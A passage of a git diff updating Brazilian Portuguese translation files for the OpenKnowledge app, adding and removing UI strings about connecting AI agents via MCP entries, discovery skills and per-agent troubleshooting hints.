instantes."],"ptQ3_N": ["desvincular"],"pvnfJD": ["Escuro"],@@ -4795,6 +4930,7 @@"q4YJl_": ["A sessão de terminal terminou (código de saída ", ["0"], ")."],"q4efaG": [["filePath"], " não está mais nesta skill"],"q6-JVU": ["Carregando páginas"],+ "q63KUv": ["Adicionar MCP e habilidade"],"q7F5am": ["título"],"q8aCbb": ["Duas versões de \"", ["0"], "\" — a fonte contra ", ["editor"]],"qAQVSD": ["A resposta dos títulos da página não era JSON"],@@ -4880,10 +5016,12 @@"qlAIQ1": ["Remoto"],"qo4zCg": ["O caminho não pode conter barras invertidas"],"qpQwGC": ["Descreva no que você está trabalhando e o agente prepara tudo para você."],+ "qr2gAH": ["Escolha o que o OpenKnowledge configura para ", ["0"], "."],"qribBG": ["esquema ", ["deleteTarget"]],"qtnmEX": ["Insira um nome de tema válido."],"qvWGzP": ["Recolher tudo"],"qyLmWw": ["Painel de busca do editor de código"],+ "qze9od": ["Esta pasta também é de ", ["alsoAffects"], "."],"r-OJYm": ["Digite um nome de ramo válido (sem espaços, sem ponto inicial, sem \"..\")."],"r2eKE3": ["Entre primeiro no ", ["agentName"]],"r4R7AZ": ["Erro de rede durante a limpeza"],@@ -4983,6 +5121,9 @@"s1c0ja": ["Lista com marcadores"],"s3caR3": ["Excluindo"],"s7us1p": ["Só são aceitas imagens PNG, JPEG ou WebP."],+ "s8difl": [+ "Sem a habilidade o agente continua funcionando, mas perde a atribuição das edições e a pré-visualização ao vivo."+ ],"sAP9XO": ["Plugin ", ["0"], " · ", ["1"]],"sE7R19": ["Não foi possível carregar os modelos: ",@@ -5084,6 +5225,9 @@"tA0b9E": ["a pasta de habilidades padrão (o caminho exato aparece depois de salvar)"],"tA2-xC": ["\"", ["0"], "\" já tinha sido adicionado (conteúdo idêntico)."],"tAPZEx": ["Abaixo"],+ "tCE-ZH": [+ "O OpenKnowledge não reconhece esta entrada e não pode substituí-la com segurança no formato deste arquivo."+ ],"tCyvAw": ["Anexar um arquivo"],"tHKQ6j": ["Renomeando"],"tKlWWY": ["Emoji"],@@ -5125,6 +5269,56 @@"tnG-m6": ["A sincronização automática está pausada — entre na sua conta para retomar."],"toyw51": ["Controles do diagrama do Mermaid"],"tqQBwN": ["Os scripts são exibidos para revisão, nunca executados."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ "O ",+ ["agent"],+ " pede que você aprove cada ferramenta do OpenKnowledge na primeira vez em que ela é usada."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "Se o ",+ ["agent"],+ " não mostrar as ferramentas do OpenKnowledge, execute-o neste projeto e aprove o servidor do OpenKnowledge uma vez."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "O aplicativo de desktop do ",+ ["agent"],+ " ignora esta configuração de projeto; só a CLI do ",+ ["agent"],+ " a lê."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ "O ",+ ["agent"],+ " lê a configuração MCP do espaço de trabalho que o OpenKnowledge grava para o ",+ ["sourceAgent"],+ "; removê-la para um remove para os dois."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "Se o ",+ ["agent"],+ " não mostrar as ferramentas do OpenKnowledge, ative o servidor em Settings → Tools & MCP; o ",+ ["agent"],+ " deixa os servidores de projeto desligados até você fazer isso."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "Se o ",+ ["agent"],+ " não mostrar as ferramentas do OpenKnowledge, confira se o caminho da configuração MCP nas configurações dele corresponde ao arquivo que o OpenKnowledge gravou."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ "O repositório central de habilidades do ",+ ["agent"],+ " ainda não existe; inicie o ",+ ["agent"],+ " uma vez para que ele o crie e tente de novo."+ ],+ "troubleshooting.pi.folder-trust": [+ "O ",+ ["agent"],+ " só carrega extensões de projeto em pastas em que você confiou; confie nesta pasta no ",+ ["agent"],+ " se as ferramentas não aparecerem."+ ],"tsiTqO": ["Cole sua chave de API"],"tvMvze": ["Não foi possível mover \\\"",@@ -5187,6 +5381,7 @@"uUCrBv": ["link simbólico"],"uV3EYs": ["Suas imagens"],"uVbUP8": ["Configurações…"],+ "uVhq9B": ["Instala a habilidade de descoberta do OpenKnowledge para este agente."],"uX85yl": ["Os arquivos de configuração incluem: <0>.ok/</0>, as configurações MCP das ferramentas de IA (<1>.mcp.json</1> e os arquivos de cada ferramenta). Suas habilidades não são incluídas: elas seguem o git como qualquer outro arquivo do projeto.<2/><3>Compartilhado</3> faz commit deles no git, então quem clonar o repositório recebe a mesma configuração. <4/><5>Somente eu</5> mantém tudo fora do git (via <6>.git/info/exclude</6>)."],@@ -5336,6 +5531,13 @@"vy_VIN": ["Rastreado no git — as atualizações chegam pelo seu repositório (pull ou CI), não por atualização automática"],+ "vyjTYE": [+ [+ "changeCount",+ "plural",+ { "one": ["#", " alteração"], "many": ["#", " alterações"], "other": ["#", " alterações"] }+ ]+ ],"w0YVAE": ["Mostrar os nós de habilidades"],"w3tVpc": ["Ainda não há links. Adicione links wiki ou links markdown para montar um grafo."],"w3vFfL": ["Ocultar Arquivos"],@@ -5371,6 +5573,7 @@"wQp1V3": ["Espelho de <0>", ["src"], "</0>"],"wQvvZY": ["Novo arquivo de habilidade"],"wRni1Z": ["Desativar Slidev"],+ "wSBXaS": ["Gerenciar ", ["rowLabel"]],"wT4iQr": ["Abre a busca do editor visual com os controles de substituição expandidos."],"wTcjov": ["Sem espaço de trabalho"],"wU8WyK": ["Campos do elemento"],@@ -5396,7 +5599,9 @@"wdxz7K": ["Código"],"wdzBgi": ["O compartilhamento de configuração agora é Somente eu."],"weP6me": ["Não deu para carregar os documentos — digite @ de novo para tentar outra vez"],+ "wfZwqe": ["Instalar ", ["rowLabel"]],"wgNoIs": ["Selecionar tudo"],+ "wgj--j": ["Adiciona uma entrada MCP do OpenKnowledge global para este agente."],"wk_v1X": ["A sincronização deste worktree está em Automático (Pull e Push), herdada de ",["project"],@@ -5543,7 +5748,6 @@"yZmvQ4": ["O servidor deste projeto (v", ["0"], ") é mais novo que este app (v", ["1"], ")."],"y_5CE8": ["Item ", ["0"]],"y_K0Dz": ["O que aconteceu?"],- "yaPGPa": ["Abra um projeto para gerenciar as conexões dele com ferramentas de IA."],"ybPMz3": ["Não foi possível fixar ", ["name"]],"ycIX5i": ["Você saiu da conta — entre para retomar a sincronização."],"yckias": ["Renomear o arquivo"],@@ -5566,9 +5770,6 @@["source"],"</0> — os agentes executados aqui não conseguem carregá-lo. Copie-o para cá para editar."],- "yhdqox": [- "Instalado — ok está disponível em terminais externos. Desmarcar remove; o terminal integrado e as ferramentas de IA do OpenKnowledge continuam funcionando."- ],"yhy5h-": ["Ver todas as ", ["count"], " habilidades"],"yit5dF": ["Ainda não há pastas neste projeto."],"yjExfe": ["O ramo <0>", ["shareBranch"], "</0> está ativo em:"],@@ -5581,7 +5782,6 @@"yvG-l1": ["Abrir o painel de análise do código"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["Para de corrigir. Os arquivos já corrigidos continuam corrigidos."],- "ywVfOE": ["A habilidade deste projeto foi movida para Estúdio de habilidades."],"yxF19Y": [["0",diff --git a/packages/app/src/locales/pt-BR/messages.po b/packages/app/src/locales/pt-BR/messages.poindex fbf12dc19..c456001e9 100644--- a/packages/app/src/locales/pt-BR/messages.po+++ b/packages/app/src/locales/pt-BR/messages.po@@ -330,6 +330,12 @@ msgstr "{0} permite que {1} aja sem perguntar"msgid "{0} needs {1}"msgstr "{0} precisa de {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} precisa de {1}. Desative ambos ou mantenha ambos ativados."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "há {0} anos"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (conflito)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "O {agent} pede que você aprove cada ferramenta do OpenKnowledge na primeira vez em que ela é usada."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "O {agent} recebe as ferramentas do OpenKnowledge sempre que o OpenKnowledge o inicia; nada é gravado na configuração dele."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "O {agent} só carrega extensões de projeto em pastas em que você confiou; confie nesta pasta no {agent} se as ferramentas não aparecerem."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "O {agent} lê a configuração MCP do espaço de trabalho que o OpenKnowledge grava para o {sourceAgent}; removê-la para um remove para os dois."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "O repositório central de habilidades do {agent} ainda não existe; inicie o {agent} uma vez para que ele o crie e tente de novo."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} não conseguiu iniciar uma conversa."@@ -520,6 +551,10 @@ msgstr "{boldName} faz parte do plugin <0>{0}</0>{pluginVersion} — somente leimsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} fica fora deste projeto, em <0>{source}</0> — os agentes executados aqui não conseguem carregá-lo. Copie-o para cá para editar."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# alteração} many {# alterações} other {# alterações}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {caractere} many {caracteres} other {caracteres}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {há # dia} many {há # dias} other {há # dias}}"msgid "{days}d ago"msgstr "há {days} d"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} precisa de {prerequisite}, e o OpenKnowledge não consegue substituir essa entrada com segurança no formato deste arquivo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} precisa de {prerequisite}, e o OpenKnowledge não encontrou este agente nesta máquina."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} precisa de {prerequisite}, e o OpenKnowledge não reconhece essa entrada. Marque {prerequisite} para substituí-la e salve novamente."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} precisa de {prerequisite}, e este agente ainda não tem um arquivo desse tipo nesta máquina. Abra o agente uma vez e tente novamente."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} precisa de {prerequisite}, que o OpenKnowledge não consegue configurar para você. O guia de configuração tem os passos manuais."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — erro de renderização, código editável abaixo"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) não está instalado nem no seu PATH."#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "CLI do {displayName}"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "CLI do {displayName}, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1060,10 +1115,6 @@ msgstr "<{componentName}> não é um componente conhecido. Copie o código paramsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "Não foi possível renderizar <{descriptorLabel}> (provavelmente uma prop inválida). Copie o código para ver o que deu errado ou exclua o bloco."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> e <1>~/.ok/env.sh</1> permanecem de qualquer forma — o app sempre os mantém."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>Espelho — escolha uma fonte.</0> Defina <1>src</1> + <2>anchor</2> no painel de propriedades para apontar para um <3><MirrorSource></3> em outro lugar."@@ -1489,6 +1540,14 @@ msgstr "Adicionar item a {keyName}"msgid "Add link"msgstr "Adicionar link"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "Adicionar MCP e habilidade"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "Adicionar MCP e habilidade para {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "Adiciona à busca uma classificação por significado para que páginas relacionadas conceitualmente apareçam mesmo sem palavras-chave em comum."@@ -1527,10 +1586,9 @@ msgstr "Adicionar aba"msgid "Add tag"msgstr "Adicionar tag"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "Adicione o comando <0>ok</0> ao seu terminal"@@ -1564,16 +1622,15 @@ msgstr "Adicione seus comentários a esta mensagem"msgid "Added"msgstr "Adicionado"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "Adiciona uma entrada MCP do OpenKnowledge global para este agente."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "Adiciona um bloco gerenciado a"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "Adiciona um bloco gerenciado a {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1584,6 +1641,20 @@ msgstr "Adiciona uma entrada MCP do OpenKnowledge e a habilidade do projeto a <0msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "Adiciona uma entrada MCP do OpenKnowledge a <0>{connectToolList}</0> para que seus agentes possam ler e editar seus arquivos."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "Adiciona uma entrada MCP do OpenKnowledge à configuração de agente deste projeto."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "Adiciona o OpenKnowledge à configuração MCP do próprio {agent}, para que todos os projetos desta máquina fiquem acessíveis."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "Adiciona o OpenKnowledge à configuração MCP que o {agent} lê neste projeto, para que ele possa ler, pesquisar e editar estes documentos."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "Adiciona telemetria, estado do servidor e informações de execução quando disponíveis. As credenciais são sempre removidas; os nomes de documento, se incluídos, aparecem em texto simples (sem ocultação)."@@ -1636,6 +1707,11 @@ msgstr "Chats de agentes"msgid "Agent configuration file"msgstr "Arquivo de configuração do agente"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "Conexões de agentes"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "Modo agente"@@ -1657,23 +1733,14 @@ msgid "Agent transcript"msgstr "Transcrição do agente"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "Agentes"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "O gerenciamento de ferramentas de IA só está disponível no app de desktop do OpenKnowledge."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "Ferramentas de IA"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "Ferramentas de IA e CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "Centralizar"@@ -2393,14 +2460,6 @@ msgstr "Os destaques chamam atenção para as informações principais."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "Não dá para aninhar projetos. Já existe um projeto do OpenKnowledge em <0>{rootPath}</0>. Escolha um local fora dele ou abra aquele projeto."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "Não é seguro editar a configuração deste projeto"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "Não é seguro editar a configuração desta ferramenta"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "Não é possível compartilhar este caminho."@@ -2429,6 +2488,7 @@ msgstr "Não é possível compartilhar este caminho."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2655,6 +2715,15 @@ msgstr "Escolher ícone"msgid "Choose what a new tab starts"msgstr "Escolha o que uma nova aba inicia"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "Escolha o que o OpenKnowledge configura para {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "Escolha o que o OpenKnowledge configura."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "Escolha para onde enviar estes comentários"@@ -2667,9 +2736,9 @@ msgstr "Escolher para onde enviar esta mensagem"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "Escolha se a configuração do OpenKnowledge deste projeto, incluindo as conexões com ferramentas de IA, é salva junto com o projeto para que os colegas também a recebam, ou fica só no seu computador."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "Escolha quais agentes aparecem nos menus de agentes do aplicativo, como Ask AI, Open with AI e o botão + de novo chat. Desative um agente para ocultá-lo de todos eles."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "Escolha quais agentes aparecem nos menus de agentes do aplicativo e configure-os para que possam ler e atualizar seus documentos."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3143,7 +3212,6 @@ msgstr "Avisos de configuração"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3208,10 +3276,6 @@ msgstr "Conecte o GitHub para continuar."msgid "Connect OpenKnowledge to other tools you use."msgstr "Conecte o OpenKnowledge às outras ferramentas que você usa."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "Conecte a este projeto específico as ferramentas de IA que você usa. Estes arquivos ficam na pasta do projeto, então quem o abrir recebe a mesma configuração."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3240,6 +3304,10 @@ msgstr "Conecte suas ferramentas de IA"msgid "Connect your AI tools to this project"msgstr "Conectar suas ferramentas de IA a este projeto"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "Conectado"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3288,10 +3356,18 @@ msgstr "Erro de conexão — tente de novo"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "Conexão perdida — deixe esta aba aberta, suas edições vão sincronizar quando reconectar"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "Conecta automaticamente na próxima vez que você abrir este projeto em uma sessão confiável do Codex."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "Conecta automaticamente na próxima vez que você abrir este projeto em uma sessão confiável do {agent}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "Conecta o agente ao OpenKnowledge em todos os projetos desta máquina."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "Conecta o agente a este projeto para que ele possa ler, pesquisar e editar seus documentos."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3659,9 +3735,8 @@ msgid "Couldn't add that comment."msgstr "Não deu para adicionar esse comentário."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "Não deu para aplicar a alteração: {0}"@@ -3669,6 +3744,10 @@ msgstr "Não deu para aplicar a alteração: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "Não foi possível verificar se {filePath} ainda está em conflito — tentando novamente."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "Não deu para verificar quais ferramentas estão conectadas."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "Não deu para limpar a chave — tente de novo."@@ -3944,7 +4023,7 @@ msgstr "Não deu para contatar o servidor de colaboração — {errorDetail}. Temsgid "Couldn't reach GitHub. Try again?"msgstr "Não deu para contatar o GitHub. Tentar de novo?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "Não deu para contatar o registro de agentes."@@ -4397,11 +4476,6 @@ msgstr "Endpoint personalizado"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "HTML personalizado com painel de pré-visualização ao vivo (iframe isolado)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "Entrada open-knowledge personalizada — não gerenciada pelo OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "Caminho da pasta de habilidades personalizada"@@ -4772,6 +4846,10 @@ msgstr "Desconectar"msgid "Disconnecting"msgstr "Desconectando"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "As habilidades de descoberta são gerenciadas em conjunto para todas as ferramentas de IA. Instale esta em Configurações → Estúdio de habilidades."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5256,17 +5334,17 @@ msgstr "Conteúdo inicial vazio"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "Ativar {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "Ativar a CLI do {displayName}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "Ativar {displayName} Desktop"@@ -5412,11 +5490,6 @@ msgstr "Insira uma URL válida, por exemplo https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "Insira a origem pública que seu túnel serve, por exemplo https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "Entrada"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "Erro"@@ -5559,7 +5632,7 @@ msgstr "Expor fixa uma porta para que o alvo do túnel permaneça estável entre#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "Aplicativos externos"@@ -5943,8 +6016,6 @@ msgstr "Campos"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6352,9 +6423,9 @@ msgstr "GitHub, uma URL de git ou um caminho local."msgid "Give it a name before editing its colors."msgstr "Dê um nome antes de editar as cores."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "Dê às ferramentas de IA que você usa acesso para ler e atualizar seus projetos. Marcar uma caixa configura na hora; desmarcar remove."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "Dá ao agente instruções para trabalhar com seus documentos e mantém suas edições atribuídas."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6366,6 +6437,10 @@ msgstr "Padrões glob a que este esquema se aplica"msgid "Global"msgstr "Global"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "Servidor MCP global"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "Global fora dos campos de texto"@@ -6505,6 +6580,7 @@ msgstr "Ajuda"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "Ajude seus agentes a descobrir e usar o OpenKnowledge em qualquer projeto."@@ -6714,15 +6790,13 @@ msgstr "Com que frequência este computador traz alterações do seu remoto."msgid "How to push manually"msgstr "Como enviar manualmente"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "Como configurar"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "Como configurar {0} (abre no navegador)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "Como configurar {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6781,6 +6855,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "Idênticas nas duas: {pick} continua lendo."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "Se o {agent} não mostrar as ferramentas do OpenKnowledge, confira se o caminho da configuração MCP nas configurações dele corresponde ao arquivo que o OpenKnowledge gravou."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "Se o {agent} não mostrar as ferramentas do OpenKnowledge, execute-o neste projeto e aprove o servidor do OpenKnowledge uma vez."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "Se o {agent} não mostrar as ferramentas do OpenKnowledge, ative o servidor em Settings → Tools & MCP; o {agent} deixa os servidores de projeto desligados até você fazer isso."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "Se chegar uma atualização de algo que você está editando, você escolhe qual versão manter, como em um conflito de mesclagem."@@ -6884,7 +6973,7 @@ msgstr "Em um documento de índice: as entradas ficam 